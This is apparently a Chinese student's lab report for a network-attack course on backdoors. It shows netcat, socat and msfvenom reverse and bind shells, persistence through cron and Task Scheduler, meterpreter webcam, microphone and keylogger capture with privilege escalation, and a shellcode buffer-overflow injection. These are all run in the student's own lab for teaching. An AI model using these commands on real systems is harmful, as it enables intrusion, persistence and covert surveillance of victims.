2019-2020-2 20175212童皓桢《网络对抗技术》

Exp2 后门原理与实践

目录

1. 基础知识

  • 1.1 后门的概念
    • 后门就是不经过正常认证流程而访问系统的通道。
  • 1.2 哪里可留有后门
    • 编译器
    • 操作系统
    • 应用程序(最常见)
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序
  • 1.3 狭义的后门概念
    • 特指潜伏于操作系统中专门做后门的一个程序
    • “坏人”可以连接这个程序
    • 远程执行各种指令
    • 概念和木马有重叠

2. 实验内容

2.0 常用后门工具
  • NC或netcat:又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
    • Windows: 课程主页附件中下载ncat.rar解压即可使用。
    • Mac: 系统自带,"man nc",查看其使用说明。
    2.0.1 win获得Linux Shell
    • windows打开监听
      • 下载老师提供的ncat.rar,解压至主机的主文件夹。
      • 进入ncat文件夹,用ncat.exe -l -p 5212命令在5212端口开始侦听
        在这里插入图片描述
    • Linux反弹连接win
      • 在kali中输入命令nc 192.168.1.102 5212 -e /bin/sh进行连接
    • windows下获得一个linux shell,可运行任何指令,如ls
      在这里插入图片描述
    2.0.2 Linux获得Windows Shell
    • Linux运行监听指令
      • 在kali中输入监听命令nc -l -p 5212
        在这里插入图片描述
    • Windows反弹连接Linux
      • 在Windows下输入命令ncat.exe -e cmd.exe 192.168.1.106 5212
        在这里插入图片描述
    • Linux下看到Windows的命令提示
      • Linux获得Win Shell,并输入dir等进行验证
        在这里插入图片描述
    2.0.3 使用nc进行传输
    • windows下监听指令
      在这里插入图片描述
    • Linux反向连接到windows
      在这里插入图片描述
    • 连接建立后可传输数据(类似于共享文件夹)
      在这里插入图片描述
2.1 使用netcat获取主机操作Shell,cron启动
  • 打开主机终端,输入命令ncat.exe -l 5212监听5212端口
    在这里插入图片描述

  • 在Linux终端中,输入命令crontab -e编辑定时任务。第一次编辑需选择,我们选3.
    在这里插入图片描述

  • 在文件最后加入命令59 * * * * /bin/netcat 192.168.1.102 5212 -e /bin/sh,意为在每个小时的第59分钟尝试反向连接主机的5212端口
    在这里插入图片描述

  • 59分时已成功连接,并获取了Linux Shell
    在这里插入图片描述

2.2 使用socat获取主机操作Shell, 任务计划启动
  • 下载并加压老师提供socat
  • 右键此电脑->点击管理->点击任务计划程序->创建任务
    在这里插入图片描述
  • 新建任务,我这里选择按预定计划,并设置好触发时间
    在这里插入图片描述
  • 操作-> 新建操作,在程序或脚本选择socat.exe的安装路径,并在添加参数栏填写tcp-listen:5212 exec:cmd.exe,pty,stderr,作用是将cmd与端口5212绑定,同时把cmd的stderr重定向stdout上
    在这里插入图片描述
  • 任务计划程序库中我们可以看见事件已经准备就绪
    在这里插入图片描述
  • 到设定时间时,主机弹出一个cmd窗口,不去理会,在Linux Shell中输入指令socat - tcp:192.168.1.102:5212,这时已经成功获得win shell
    在这里插入图片描述
  • 最后测试一下,输入dir
    在这里插入图片描述
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 在kali中执行
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=5212 -f exe > 20175212_backdoor.exe
    这里填的是kali的ip,此步就已经生成了后门程序“20175212——backdoor.exe”
    在这里插入图片描述
  • 在Win Shell中执行命令ncat.exe -lv 5212 > 20175212_backdoor.exe,获取当前连接状态
    在这里插入图片描述
  • 在Linux中输入nc 192.168.1.102 5212 20175212_backdoor.exe,将后门文件传输至主机
    在这里插入图片描述
    在这里插入图片描述
  • Linux中新开一个Shell,输入输入msfconsole进入msf控制台
    在这里插入图片描述
    • 输入use exploit/multi/handler使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    • set LHOST 192.168.1.106,这里用的是Kali的IP。
    • set LPORT 5212,端口
    • exploit,开始监听
      在这里插入图片描述
  • 在主机命令行中中断当前任务,在运行主机中的后门程序20175212_backdoor.exe。测试一下,发现Linux已经获得了Win Shell。
    在这里插入图片描述
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 直接在上一步的shell中操作

  • 输入命令record_mic获取音频在这里插入图片描述

  • 输入命令webcam_snap用摄像头拍摄
    在这里插入图片描述
    在这里插入图片描述

  • 输入命令screenshot进行截屏
    在这里插入图片描述

  • 输入命令keyscan_start开始记录击键,输入命令keyscan_dump读取击键的记录
    在这里插入图片描述

  • 输入命令getuid查看当前用户,getsystem进行提权
    在这里插入图片描述

2.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
  • 从官网下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)该文件
  • 注入Shellcode(实验一第三部分)
    • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    • 在第一个终端中运行pwn1(不要回车)
    • 在第二个终端中查找pwn1进程号,用GDB追踪,找到栈顶地址,并+4计算shellcode地址
      在这里插入图片描述
    • 在第一个终端终端pwn1
    • 在第二个终端中注入input_shellcode
    • perl -e 'print "A" x 32;print"\xe0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
      在这里插入图片描述
    • 在第一个终端中打开msf控制台,输入
      • use exploit/multi/handler // 使用监听模块,设置payload(攻击荷载)
      • set payload linux/x86/shell_reverse_tcp // 这里设置为我们下载的那个payload
      • set LHOST 127.0.0.1 // 原始文件中的主机号和端口号都没改,我们默认使用
      • set LPORT 4444
      • show options
      • exploit // 设置完成,开始监听
    • 在第二个终端(cat input_shellcode;cat) | ./pwn1运行
    • 第一个终端获得shell
      在这里插入图片描述

3、答老师问

3.1 实验收获与感想
  • 这次的实验内容可以说让我对黑客攻击这类事件有了更加直观切实的体会,一旦被攻击者获取了shell,可以说我们在这台电脑上的所作所为被洞察的一览无余。一方面,我们学习这些技术的同时也应加强思想上的学习,这些技术绝不是我们应当利用以窥视他人的;知己知彼百战不殆,精通技术也帮助我们更好地应对这些攻击。另一方面,其实也不必要过度紧张,比如这次实验我们手动关闭了所有的查杀程序,我甚至还因为没关干净而屡次出错,攻击条件不可谓不严格;另外,还有很大一部分的攻击和后门在传播途径这一环节就不再会对我们产生威胁,只要有一个良好的上机上网习惯。
  • 技术层面上,我体会比较深的就是其实这些攻击技术都是相互辅佐的,这次实验沿用上次实验的针对栈地址的攻击,之后的免杀也是建立在这次的基础上。在实际操作过程中一旦出现木桶效应,可能就不会那么成功。
3.2 基础问题回答
  • 3.2.1 例举你能想到的一个后门进入到你系统中的可能方式?

    • 答:目前比较容易的植入后门的应该还是利用社会工程学攻击把。利用一些引诱性的内容,诱导下载一些不明程序,绑定的后门自然就植入了。
  • 3.2.2 例举你知道的后门如何启动起来(win及linux)的方式?

    • 答:linux中可以像本次实验,利用corn设置定时启动,反弹连接控制机;windows的话也可以像实验里设置定时启动或者其他动作的启动,或是之前课程里学的,安插在自启动项,注册表等方法。
  • 3.2.3 Meterpreter有哪些给你映像深刻的功能?

    • 答:印象深刻的主要还是第四部分任务里,对于自带相机,键盘记录等设备的控制。虽然说获取了shell这些功能自然能很容易获取,但这个软件给我的感觉就是太轻而易举了。可能一些网络上恐怖的流传是真的。
  • 3.2.4 如何发现自己有系统有没有被安装后门?

    • 答:一般情况下win自带的防护机制和电脑里的杀毒软件会检测出大部分的后门以及其他恶意程序,毕竟这次实验这些东西全要手动关闭。特殊情况下则需要人工检测,可以检测的地方有自启动项,端口使用情况等等。

4、遇到的问题及其解决方法

  • 4.1 问题一: 在使用nc工具使Win获得Linux Shell权限时,Windows命令行输入不了字符(没有获得权限)

    • 解决方法:我遇到的问题时ip地址选择有误。我kali的网络是桥接模式,之前反向连接时一直输入的以太网适配器的ip地址,导致无法成功。最后尝试无线局域网的ip地址竟然成功了,和一些同学的不太相同。看来虚拟机与主机的连接情况也值得研究一下。
      在这里插入图片描述
  • 4.2 问题二:与大多数同学类似,Linux中无法直接执行meterpreter命令。随即尝试使用命令sudo gem install bundler:1.17.3。很遗憾这条命令也报错...
    在这里插入图片描述
    在这里插入图片描述

    • 解决方法:首先尝试了无法定位安装包的解决办法,将source.list中的下载源进行更改。进入/etc/apt/source.list文件,将其中内容更改为如下:
# 
 
#deb cdrom:[Debian GNU/Linux 2018.2 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180412-10:55]/ kali-last-snapshot contrib main non-free
 
#deb cdrom:[Debian GNU/Linux 2018.2 _Kali-rolling_ - Official Snapshot amd64 LIVE/INSTALL Binary 20180412-10:55]/ kali-last-snapshot contrib main non-free
# 官方源
# deb-src http://http.kali.org/kali/ kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://http.kali.org/kali kali-rolling main non-free contrib
# 中科大源
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free
# 阿里云kali源
#deb http://mirrors.aliyun.com/kali kali main non-free contrib
#deb http://mirrors.aliyun.com/kali sana main non-free contrib
#deb http://mirrors.aliyun.com/kali-security sana/updates main contrib non-free
#deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
#deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
#deb-src http://ftp.sjtu.edu.cn/debian wheezy main non-free contrib  
#deb http://ftp.sjtu.edu.cn/debian wheezy-proposed-updates main non-free contrib  
#deb-src http://ftp.sjtu.edu.cn/debian wheezy-proposed-updates main non-free contrib  
#deb http://ftp.sjtu.edu.cn/debian-security wheezy/updates main non-free contrib  
#deb-src http://ftp.sjtu.edu.cn/debian-security wheezy/updates main non-free contrib  
#deb http://mirrors.163.com/debian wheezy main non-free contrib  
#deb-src http://mirrors.163.com/debian wheezy main non-free contrib  
#deb http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib  
#deb-src http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib  
#deb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contrib  
#deb http://mirrors.163.com/debian-security wheezy/updates main non-free contrib  
  
deb http://http.kali.org/kali kali-rolling main non-free contrib    
 
# This system was installed using small removable media
# (e.g. netinst, live or single CD). The matching "deb cdrom"
# entries were disabled at the end of the installation process.
# For information about how to configure apt package sources,
# see the sources.list(5) manual.

重新尝试安装,仍然提示失败。查阅大量参考资料,最后尝试将官方仓库地址的https换成http

gem sources -a http://rubygems.org/

再次安装,提示安装成功。
在这里插入图片描述

  • 4.3 问题三:运行主机中的后门程序20175212_backdoor.exe时提示“没有权限”等报错,总之就是怎么都不能运行,而且文件的大小是0kb。(着急解决,图没截到)
    • 解决方法:因为总是会有win自带安全程序的报错,因此怀疑是防火墙之类没关干净,结果也确实如此。不止是要关防火墙,为保险起见,建议把自带安全防护程序全部关干净,关到pc成了高危机,就差不多了。。
      在这里插入图片描述
      在这里插入图片描述

5. 参考资料

https://blog.csdn.net/cat_pp/article/details/76572774
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x21_MAL_后门原理与实践.md
https://www.cnblogs.com/zxy20175227/p/12453642.html#j6
https://blog.csdn.net/u014549283/article/details/81670622

posted on 2020-03-18 19:38  20175212thz  阅读(178)  评论(0编辑  收藏  举报